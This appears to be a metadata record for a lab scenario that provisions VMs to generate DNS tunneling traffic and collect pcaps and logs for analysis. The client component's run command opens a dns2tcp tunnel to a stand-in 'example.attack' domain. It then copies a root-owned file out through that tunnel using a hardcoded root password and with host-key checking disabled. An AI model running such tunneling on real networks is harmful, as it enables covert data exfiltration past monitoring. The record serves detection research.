.metadata

execution_time: 2022-04-01 16:59:06.232560

variables: {"record_type": "KEY", "compression": "", "passphrase": "0xDEADBEEF"}

scenario: {"name": "DNS Tunnel Scenario", "description": "\"This Scenario runs through multiple DNS tunneling \"\n", "provisioner": "vagrant", "use_default_templates": true, "components": [{"name": "DNSMASQ", "ipv4_address": "192.168.0.10", "description": "Installation of DNSMASQ DNS server.", "image": "ubuntu/focal64", "setup": {"type": "script", "val": "dnsmasq.bash"}, "run": {"type": "shell", "val": "systemctl stop systemd-resolved; systemctl restart dnsmasq;"}, "artifacts_to_collect": [{"type": "pcap", "val": ["tcpdump -i any -n -t -w /tmp/dns.pcap port 53"]}, {"type": "files", "val": ["/var/log/dnsmasq.log", "/tmp/dns.pcap", "/tmp/filebeat.json*"]}, {"type": "filebeat", "val": ["/var/log/dnsmasq.log"]}]}, {"name": "dns2tcp_server", "ipv4_address": "192.168.0.20", "description": "This sets up the DNS2TCP server.", "image": "ubuntu/focal64", "setup": {"type": "ansible", "val": "dns2tcp_server_setup"}, "run": {"type": "shell", "val": "sudo apt install -y socat;\n#nohup asciinema rec /tmp/dns2tcp_server_KEY.cast -c \\'set -x; dns2tcpd -d 1 -f /opt/dns2tcpdrc & sleep 1\\'"}, "artifacts_to_collect": [{"type": "files", "val": ["/tmp/*.cast"]}]}, {"name": "dns2tcp_client", "ipv4_address": "192.168.0.30", "description": "This sets up the DNS2TCP client.", "image": "ubuntu/focal64", "setup": {"type": "shell", "val": "sudo apt-get install -y dns2tcp sshpass asciinema;"}, "run": {"type": "shell", "val": "set -x; dns2tcpc -z example.attack -k 0xDEADBEEF 192.168.0.10 -r ssh -l 12345  -T KEY & sleep 1; rsync -P --rsh=\"sshpass -p root ssh -l root -oStrictHostKeyChecking=no -p 12345\" 127.0.0.1:/root/test-file /tmp/"}, "artifacts_to_collect": [{"type": "files", "val": ["/tmp/*.cast"]}, {"type": "cli_recording", "val": ["/tmp/dns2tcp_client_KEY_noncompressed_0xDEADBEEF.cast"]}], "depends_on": ["dns_attack_server", "dns_server"]}]}